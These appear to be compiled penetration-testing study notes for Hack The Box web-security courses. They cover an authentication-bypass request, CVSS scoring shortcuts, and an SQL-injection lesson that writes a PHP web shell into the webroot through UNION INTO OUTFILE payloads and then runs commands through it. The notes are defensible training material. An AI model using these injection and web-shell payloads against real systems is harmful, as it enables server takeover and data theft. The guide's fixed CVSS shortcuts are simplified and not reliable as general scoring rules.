Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification) Last updated 9 months ago Copy if(!$_SESSION['active']) { header("Location: index.php"); exit; } Copy ┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Password-Attacks] └─$ curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 94.237.52.164:49988' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \ -b $'PHPSESSID=ooeustomdnjk0cbuaquf9rh4dd' \ $'http://94.237.52.164:49988/admin.php' HTTP/1.1 302 Found Date: Thu, 06 Nov 2025 19:33:09 GMT Server: Apache/2.4.59 (Debian) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: index.php Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <!--Import Google Icon Font--> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <!--Import materialize.css--> <link type="text/css" rel="stylesheet" href="css/materialize.min.css" media="screen,projection" /> <link type="text/css" rel="stylesheet" href="css/main.css" /> <!--Let browser know website is optimized for mobile--> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Madmin</title> </head> <body class="grey lighten-4"> <nav class="blue darken-2"> <div class="container"> <div class="nav-wrapper"> <a href="index.html" class="brand-logo">Madmin</a> <a href="#" data-activates="side-nav" class="button-collapse show-on-large right"> <i class="material-icons">menu</i> </a> <ul class="right hide-on-med-and-down"> <li class="active"><a href="admin.php">Dashboard</a></li> <li><a href="#">Posts</a></li> <li><a href="#">Categories</a></li> <li><a href="#">Comments</a></li> <li><a href="#s">Users</a></li> </ul> <!-- Side nav --> <ul id="side-nav" class="side-nav"> <li> <div class="user-view"> <div class="background"> <img src="img/ocean.jpg" alt=""> </div> <a href="#"> <img src="img/person1.jpg" alt="" class="circle"> </a> <a href=""> <span class="name white-text">John Doe</span> </a> <a href=""> <span class="email white-text">jdoe@gmail.com</span> </a> </div> </li> <li><a href="admin.php"> <i class="material-icons">dashboard</i> Dashboard</a></li> <li><a href="#">Posts</a></li> <li><a href="#">Categories</a></li> <li><a href="#">Comments</a></li> <li><a href="#">Users</a></li> <li> <div class="divider"></div> </li> <li><a class="subheader">Account Controls</a></li> <li><a href="logout.php" class="waves-effect">Logout</a></li> </ul> </div> </div> </nav> <!-- Section: Stats --> <section class="section section-stats center"> <div class="row"> <div class="col s12 m6 l3"> <div class="card-panel blue lighten-1 white-text center"> <i class="material-icons medium">insert_emoticon</i> <h5>Monthly Visitors</h5> <h3 class="count">283000</h3> <div class="progress grey lighten-1"> <div class="determinate white" style="width: 40%;"></div> </div> </div> </div> <div class="col s12 m6 l3"> <div class="card-panel center"> <i class="material-icons medium">mode_edit</i> <h5>Blog Posts</h5> <h3 class="count">105</h3> <div class="progress grey lighten-1"> <div class="determinate blue" style="width: 20%;"></div> </div> </div> </div> <div class="col s12 m6 l3"> <div class="card-panel blue lighten-1 white-text center"> <i class="material-icons medium">mode_comment</i> <h5>Comments</h5> <h3 class="count">1200</h3> <div class="progress grey lighten-1"> <div class="determinate white" style="width: 40%;"></div> </div> </div> </div> <div class="col s12 m6 l3"> <div class="card-panel center"> <i class="material-icons medium">supervisor_account</i> <h5>Users</h5> <h3 class="count">350</h3> <div class="progress grey lighten-1"> <div class="determinate blue lighten-1" style="width: 10%;"></div> </div> </div> </div> </div> </section> <!-- Section: Visitor --> <section class="section section-visitors blue lighten-4"> <div class="row"> <div class="row"> <center><h4>HTB{913ab2d84b8db21854c696dee1f1db68}</h4></center> </div> btn blue lighten-2">Details</a> </td> </tr> <tr> <td>Post Three</td> <td>Web Development</td> <td> <a href="details.html" class="btn blue lighten-2">Details</a> </td> </tr> </tbody> </table> </div> </div> </div> <div class="col s12 m6 l4"> <div class="card"> <div class="card-content"> <span class="card-title">Quick Todos</span> <form action="" id="todo-form"> <div class="input-field"> <input type="text" id="todo" placeholder="Add Todo..."> </div> </form> <ul class="collection todos"> <li class="collection-item"> <div>Todo One <a href="#" class="secondary-content delete"> <i class="material-icons">close</i> </a></div> </li> <li class="collection-item"> <div>Todo Two <a href="#" class="secondary-content delete"> <i class="material-icons">close</i> </a></div> </li> </ul> </div> </div> </div> </div> </section> <!-- Footer --> <footer class="section blue darken-2 white-text center"> <p>Madmin Panel Copyright &copy; 2018</p> </footer> <!-- Fixed Action Button --> <div class="fixed-action-btn"> <a class="btn-floating btn-large red"> <i class="material-icons">add</i> </a> <ul> <li> <a href="#post-modal" class="modal-trigger btn-floating blue"> <i class="material-icons">mode_edit</i> </a> </li> <li> <a href="#category-modal" class="modal-trigger btn-floating blue"> <i class="material-icons">folder</i> </a> </li> <li> <a href="#user-modal" class="modal-trigger btn-floating blue"> <i class="material-icons">supervisor_account</i> </a> </li> </ul> </div> <!-- Add Post Modal --> <div id="post-modal" class="modal"> <div class="modal-content"> <h4>Add Post</h4> <form> <div class="input-field"> <input type="text" id="title"> <label for="title">Title</label> </div> <div class="input-field"> <select> <option value="" disabled selected>Select option</option> <option value="1">Web Development</option> <option value="2">Graphic Design</option> <option value="3">Tech Gadgets</option> <option value="4">Other</option> </select> <label>Category</label> </div> <div class="input-field"> <textarea name="body" id="body" class="materialize-textarea"></textarea> <label for="body">Body</label> </div> </form> <div class="modal-footer"> <a href="#!" class="modal-action modal-close btn blue white-text">Submit</a> </div> </div> </div> <!-- Add Category Modal --> <div id="category-modal" class="modal"> <div class="modal-content"> <h4>Add Category</h4> <form> <div class="input-field"> <input type="text" id="title"> <label for="title">Title</label> </div> </form> <div class="modal-footer"> <a href="#!" class="modal-action modal-close btn blue white-text">Submit</a> </div> </div> </div> <!-- Add User Modal --> <div id="user-modal" class="modal"> <div class="modal-content"> <h4>Add User</h4> <form> <div class="input-field"> <input type="text" id="name"> <label for="name">Name</label> </div> <div class="input-field"> <input type="email" id="email"> <label for="email">Email</label> </div> <div class="input-field"> <input type="password" id="password"> <label for="password">Password</label> </div> <div class="input-field"> <input type="password" id="password2"> <label for="password2">Confirm Password</label> </div> </form> <div class="modal-footer"> <a href="#!" class="modal-action modal-close btn blue white-text">Submit</a> </div> </div> </div> <!-- Preloader --> <div class="loader preloader-wrapper big active"> <div class="spinner-layer spinner-blue-only"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="gap-patch"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <!--Import jQuery before materialize.js--> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script> <script type="text/javascript" src="js/materialize.min.js"></script> <script src="https://canvasjs.com/assets/script/canvasjs.min.js"> </script> <script src="https://cdn.ckeditor.com/4.11.1/standard/ckeditor.js"></script> <script src="js/chart.js"></script> <script> // Hide Sections $('.section').hide(); setTimeout(function () { $(document).ready(function () { // Show sections $('.section').fadeIn(); // Hide preloader $('.loader').fadeOut(); // Init side nav $('.button-collapse').sideNav(); // Init Modal $('.modal').modal(); // Init Select $('select').material_select(); // Counter $('.count').each(function () { $(this).prop('Counter', 0).animate({ Counter: $(this).text() }, { duration: 1000, easing: 'swing', step: function (now) { $(this).text(Math.ceil(now)); } }); }); // Comments - Approve & Deny $('.approve').click(function (e) { Materialize.toast('Comment Approved', 3000); e.preventDefault(); }); $('.deny').click(function (e) { Materialize.toast('Comment Denied', 3000); e.preventDefault(); }); // Quick Todos $('#todo-form').submit(function (e) { // console.log($('#todo').val()); const output = `<li class="collection-item"> <div>${$('#todo').val()} <a href="#" class="secondary-content delete"> <i class="material-icons">close</i> </a> </div> </li>`; $('.todos').append(output); Materialize.toast('Todo Added', 3000); e.preventDefault(); }); // Delete Todos $('.todos').on('click', '.delete', function (e) { $(this).parent().parent().remove(); Materialize.toast('Todo Removed', 3000); e.preventDefault(); }); CKEDITOR.replace('body'); }); }, 1000); </script> </body> </html> ┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Password-Attacks] └─$ --- # CVSS Scoring | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring.md) . Here’s **exactly how you calculate the CVSS score during an exam scenario**, step-by-step, using SQL Injection as the example (but this process works for _any_ vulnerability you find on the HTB CWES exam). This will give you **fast, accurate, defendable CVSS scoring under pressure**. * * * ✅ **1\. Use Only the CVSS Base Score (v3.1)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-1.-use-only-the-cvss-base-score-v3.1) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- HTB CWES **always** wants the _Base Score_. You do **NOT** score Temporal or Environmental metrics. Base score uses these 8 metrics: 1. **Attack Vector (AV)** 2. **Attack Complexity (AC)** 3. **Privileges Required (PR)** 4. **User Interaction (UI)** 5. **Scope (S)** 6. **Confidentiality Impact (C)** 7. **Integrity Impact (I)** 8. **Availability Impact (A)** * * * ✅ **2\. Use the Simple “Exam-Safe CVSS Decision Tree”**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-2.-use-the-simple-exam-safe-cvss-decision-tree) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This is the fastest possible way to score SQLi-like vulnerabilities. * * * 🧩 **Step-by-Step CVSS Scoring for SQL Injection**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#step-by-step-cvss-scoring-for-sql-injection) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### **Attack Vector (AV)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-vector-av) ❓ _Can the attack be done over the network?_ Yes → **AV:N (Network)** ### **Attack Complexity (AC)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-complexity-ac) ❓ _Is the exploitation straightforward?_ SQLi payloads are reliable → **AC:L (Low)** ### **Privileges Required (PR)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#privileges-required-pr) ❓ _Do I need to be logged in?_ * If SQLi is in login/register → **PR:N** * If SQLi is in authenticated search/features → **PR:L** HTB usually gives both types. ### **User Interaction (UI)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#user-interaction-ui) ❓ _Do I need the victim to click something?_ No → **UI:N** ### **Scope (S)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scope-s) ❓ _Does the vulnerability allow escaping the application’s security boundary?_ If SQLi → RCE or file read → **S:C (Changed)** If SQLi only dumps data → **S:U (Unchanged)** HTB exam rule of thumb: * SQLi → DB dump → **S:U** * SQLi → File read / RCE → **S:C** ### **Impact Metrics (C, I, A)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#impact-metrics-c-i-a) #### **Confidentiality (C)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#confidentiality-c) SQLi nearly always dumps sensitive data → **C:H (High)** #### **Integrity (I)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#integrity-i) If you can modify DB (INSERT/UPDATE) → **I:H (High)** #### **Availability (A)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#availability-a) If you can break things or execute commands → **A:H (High)** If only reading data → **A:L** or **A:N** * * * 🧮 **3\. Put It All Together Using the Formula**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-3.-put-it-all-together-using-the-formula) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- You don’t need the math. Just plug the values into the official calculator: 👉 [https://www.first.org/cvss/calculator/3.1](https://www.first.org/cvss/calculator/3.1) HTB accepts this. * * * 🛠️ **4\. Example CVSS Scores for SQL Injection (Memorize These for the Exam)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-4.-example-cvss-scores-for-sql-injection-memorize-these-for-the-exam) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #### **Scenario A — Unauthenticated SQL Injection → DB Dump**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-a-unauthenticated-sql-injection-db-dump) **Score ≈ 9.8 – Critical** This is the **standard SQL Injection score**. * * * #### **Scenario B — Authenticated SQL Injection → DB Dump**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-b-authenticated-sql-injection-db-dump) **Score ≈ 8.8 – High** * * * #### **Scenario C — SQL Injection → Arbitrary File Read**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-c-sql-injection-arbitrary-file-read) This breaks application boundary → **Scope Changed** **Score ≈ 10.0 – Critical** _Any SQLi → RCE or → File Write is automatically a 10._ * * * 🧠 **5\. Exam Shortcut: Fast CVSS Scoring Table (Remember This)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-5.-exam-shortcut-fast-cvss-scoring-table-remember-this) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Scenario CVSS Score Why Unauthenticated SQLi **9.8** No auth, full compromise Authenticated SQLi **8.8** Login required SQLi → File Read / Config Read **10.0** Scope Changed SQLi → File Write **10.0** Scope Changed SQLi → RCE **10.0** Complete takeover If you’re ever unsure → choose the **safer / slightly higher** score. HTB does **not** penalize conservative estimates as long as your reasoning is sound. [PreviousCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet) [NextSQLMap Overview](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview) Last updated 8 months ago * [✅ 1. Use Only the CVSS Base Score (v3.1)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-1.-use-only-the-cvss-base-score-v3.1) * [✅ 2. Use the Simple “Exam-Safe CVSS Decision Tree”](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-2.-use-the-simple-exam-safe-cvss-decision-tree) * [🧩 Step-by-Step CVSS Scoring for SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#step-by-step-cvss-scoring-for-sql-injection) * [Attack Vector (AV)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-vector-av) * [Attack Complexity (AC)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-complexity-ac) * [Privileges Required (PR)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#privileges-required-pr) * [User Interaction (UI)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#user-interaction-ui) * [Scope (S)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scope-s) * [Impact Metrics (C, I, A)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#impact-metrics-c-i-a) * [🧮 3. Put It All Together Using the Formula](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-3.-put-it-all-together-using-the-formula) * [🛠️ 4. Example CVSS Scores for SQL Injection (Memorize These for the Exam)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-4.-example-cvss-scores-for-sql-injection-memorize-these-for-the-exam) * [🧠 5. Exam Shortcut: Fast CVSS Scoring Table (Remember This)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-5.-exam-shortcut-fast-cvss-scoring-table-remember-this) Copy AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:L Copy AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:L Copy AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H --- # Writing Files | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files.md) . * * * When it comes to writing files to the back-end server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a web shell on the remote server, hence getting code execution and taking over the server. This is why modern DBMSes disable file-write by default and require certain privileges for DBA's to write files. Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files. * * * ### Write File Privileges[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#write-file-privileges) To be able to write files to the back-end server using a MySQL database, we require three things: 1. User with `FILE` privilege enabled 2. MySQL global `secure_file_priv` variable not enabled 3. Write access to the location we want to write to on the back-end server We have already found that our current user has the `FILE` privilege necessary to write files. We must now check if the MySQL database has that privilege. This can be done by checking the `secure_file_priv` global variable. **secure\_file\_priv** The [secure\_file\_priv](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv) variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand, `NULL` means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the `FILE` privilege. However, `MySQL` uses `/var/lib/mysql-files` as the default folder. This means that reading files through a `MySQL` injection isn't possible with default settings. Even worse, some modern configurations default to `NULL`, meaning that we cannot read/write files anywhere within the system. So, let's see how we can find out the value of `secure_file_priv`. Within `MySQL`, we can use the following query to obtain the value of this variable: Code: sql Copy SHOW VARIABLES LIKE 'secure_file_priv'; However, as we are using a `UNION` injection, we have to get the value using a `SELECT` statement. This shouldn't be a problem, as all variables and most configurations' are stored within the `INFORMATION_SCHEMA` database. `MySQL` global variables are stored in a table called [global\_variables](https://dev.mysql.com/doc/refman/5.7/en/information-schema-variables-table.html) , and as per the documentation, this table has two columns `variable_name` and `variable_value`. We have to select these two columns from that table in the `INFORMATION_SCHEMA` database. There are hundreds of global variables in a MySQL configuration, and we don't want to retrieve all of them. We will then filter the results to only show the `secure_file_priv` variable, using the `WHERE` clause we learned about in a previous section. The final SQL query is the following: Code: sql So, similar to other `UNION` injection queries, we can get the above query result with the following payload. Remember to add two more columns `1` & `4` as junk data to have a total of 4 columns': Code: sql ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fsecure_file_priv.jpg&width=768&dpr=3&quality=100&sign=cf5200df&sv=2) And the result shows that the `secure_file_priv` value is empty, meaning that we can read/write files to any location. * * * ### SELECT INTO OUTFILE[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#select-into-outfile) Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the `SELECT .. INTO OUTFILE` statement. The [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/) statement can be used to write data from select queries into files. This is usually used for exporting data from tables. To use it, we can add `INTO OUTFILE '...'` after our query to export the results into the file we specified. The below example saves the output of the `users` table into the `/tmp/credentials` file: Writing Files If we go to the back-end server and `cat` the file, we see that table's content: Writing Files It is also possible to directly `SELECT` strings into files, allowing us to write arbitrary files to the back-end server. Code: sql When we `cat` the file, we see that text: Writing Files Writing Files As we can see above, the `test.txt` file was created successfully and is owned by the `mysql` user. Tip: Advanced file exports utilize the 'FROM\_BASE64("base64\_data")' function in order to be able to write long/advanced files, including binary data. * * * ### Writing Files through SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-files-through-sql-injection) Let's try writing a text file to the webroot and verify if we have write permissions. The below query should write `file written successfully!` to the `/var/www/html/proof.txt` file, which we can then access on the web application: Code: sql Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use `load_file` to read the server configuration, like Apache's configuration found at `/etc/apache2/apache2.conf`, Nginx's configuration at `/etc/nginx/nginx.conf`, or IIS configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using [this wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt) or [this wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt) . Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way. The `UNION` injection payload would be as follows: Code: sql ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fwrite_proof.png&width=768&dpr=3&quality=100&sign=44c680a9&sv=2) We don’t see any errors on the page, which indicates that the query succeeded. Checking for the file `proof.txt` in the webroot, we see that it indeed exists: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fwrite_proof_text.png&width=768&dpr=3&quality=100&sign=e5fcdca3&sv=2) Note: We see the string we dumped along with '1', '3' before it, and '4' after it. This is because the entire 'UNION' query result was written to the file. To make the output cleaner, we can use "" instead of numbers. * * * ### Writing a Web Shell[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-a-web-shell) Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. We can write the following PHP webshell to be able to execute commands directly on the back-end server: Code: php We can reuse our previous `UNION` injection payload, and change the string to the above, and the file name to `shell.php`: Code: sql ', “ “, “ “ into outfile '/var/www/html/shell.php'-- -'> ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fwrite_shell.png&width=768&dpr=3&quality=100&sign=1e17e41d&sv=2) Once again, we don't see any errors, which means the file write probably worked. This can be verified by browsing to the `/shell.php` file and executing commands via the `0` parameter, with `?0=id` in our URL: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fwrite_shell_exec_1.png&width=768&dpr=3&quality=100&sign=4a711e4d&sv=2) The output of the `id` command confirms that we have code execution and are running as the `www-data` user. **Questions** Answer the question(s) below to complete this Section and earn cubes! Target(s): 94.237.63.132:49406 ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FXDsaoIe0BqRbl96btkae%252Fimage.png%3Falt%3Dmedia%26token%3D5f4b0a4d-d8e2-4d42-8cc1-34715171a995&width=768&dpr=3&quality=100&sign=b38ae527&sv=2) Now when visiting the /shell.php?0=id, we can see proof of concept for remote code execution. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F4cs6rMrrPoPEdwBbHodQ%252Fimage.png%3Falt%3Dmedia%26token%3D1104c428-1e61-4656-8017-109c644deeb1&width=768&dpr=3&quality=100&sign=48b6284f&sv=2) Now I can manipulate the 0 variable to give information about the system, in this example I typed ls to show contents of it's current directory. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FtO6mnn6Mm56FZMZ3JNjL%252Fimage.png%3Falt%3Dmedia%26token%3D5a1e0cc4-700d-4645-9859-7a1f62ab453e&width=768&dpr=3&quality=100&sign=597a38cd&sv=2) I went back a directory to search for a flag file, as you see there is a flag.txt file hiding here ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fvm8Xq1gOsRtfeAKENzrz%252Fimage.png%3Falt%3Dmedia%26token%3D102234af-3ae4-4f0d-ae94-f592699d2ebd&width=768&dpr=3&quality=100&sign=2e7d501a&sv=2) Finally I cat'ed the flag.txt file to reveal the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FRaTDSQDv8hCC0IqyXx9s%252Fimage.png%3Falt%3Dmedia%26token%3Db4cbcf65-8fff-4282-bb8b-eac0291c92f6&width=768&dpr=3&quality=100&sign=a6c6638a&sv=2) d2b5b27ae688b6a0f1d21b7d3a0798cd [PreviousReading Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/reading-files) [NextMitigating SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection) Last updated 1 year ago * [Write File Privileges](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#write-file-privileges) * [SELECT INTO OUTFILE](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#select-into-outfile) * [Writing Files through SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-files-through-sql-injection) * [Writing a Web Shell](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-a-web-shell) Copy SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv" Copy cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - Copy SELECT * from users INTO OUTFILE '/tmp/credentials';heh Copy hack3rSWE@htb[/htb]$ cat /tmp/credentials 1 admin 392037dbba51f692776d6cefb6dd546d 2 newuser 9da2c9bcdf39d8610954e0e11ea8f45f Copy SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt'; Copy hack3rSWE@htb[/htb]$ cat /tmp/test.txt this is a test Copy hack3rSWE@htb[/htb]$ ls -la /tmp/test.txt -rw-rw-rw- 1 mysql mysql 15 Jul 8 06:20 /tmp/test.txt Copy select 'file written successfully!' into outfile '/var/www/html/proof.txt' Copy cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- - Copy <?php system($_REQUEST[0]) ?> Copy cn' union select "",'<?php system($_REQUEST[0]) ?>', "", "" into outfile '/var/www/html/shell.php'-- - Copy // Payload for writing webshell to /var/www/html/shell.php cn' union select "",'<?php system($_REQUEST[0]) ?>', "", "" into outfile '/var/www/html/shell.php'-- - Copy shell.php?0=ls .. Copy shell.php?0=cat ../flag.txt --- # Exam Style Write Up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up.md) . * * * **HTB CWES Exam‑Style Report — Command Injection Skill Assessment**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#htb-cwes-exam-style-report-command-injection-skill-assessment) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * ### **1\. Executive Summary**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-1.-executive-summary) During the assessment of the HTB Academy Command Injection challenge, a critical **OS Command Injection** vulnerability was identified within the “Move File” functionality of the target web application. The vulnerable endpoint failed to properly sanitize user-controlled parameters (`from`, `to`, `copy`, `move`) and allowed the execution of arbitrary system-level commands, ultimately leading to **remote code execution (RCE)** and full compromise of the underlying host. Using controlled payload injection, the attacker gained shell-level execution via Bash command decoding and successfully retrieved `/flag.txt`. * * * ### **2\. Vulnerability Details**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-2.-vulnerability-details) #### **Vulnerability Type:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#vulnerability-type) **OS Command Injection (Unauthenticated after login)** #### **Relevant Weaknesses:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#relevant-weaknesses) * **CWE‑78: Improper Neutralization of Special Elements Used in an OS Command ('OS Command Injection')** * **CWE‑88: Improper Neutralization of Argument Delimiters in Command (‘Argument Injection’)** * **CWE‑20: Improper Input Validation** 